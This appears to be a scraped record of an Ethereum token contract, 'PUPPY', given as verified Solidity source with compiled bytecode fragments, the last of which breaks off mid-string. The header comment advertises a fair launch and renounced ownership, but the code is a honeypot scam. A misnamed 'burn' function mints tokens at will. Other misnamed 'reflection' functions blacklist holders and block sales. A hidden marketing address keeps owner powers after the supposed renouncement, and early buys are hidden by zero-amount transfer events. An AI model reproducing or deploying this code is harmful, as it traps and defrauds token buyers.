906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4b5853480000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea26469706673582212200c1d79e5ac6da0ec1a02689ba6aa29cbf2ca594a0f2f733a029d0581d4c748a264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,936
0x37b83ea2e9fefe7e1c138ebb86db697b81002c0b
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /* __ \ ______/ V`-, } /~~ /_)^ --,r' |b |b 0% Tax, All funding is provided by the team Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 100% Fair Launch - no presale, no whitelist Team will invest their own money on launch like everyone else More info available on our telegram and website */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PUPPY is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 5000000000000*10**18; string public _name = "PUPPY"; string public _symbol= "PUPPY"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xACfdb27d17f33020E9A381b0531ffCBfa91a6825); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner))); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565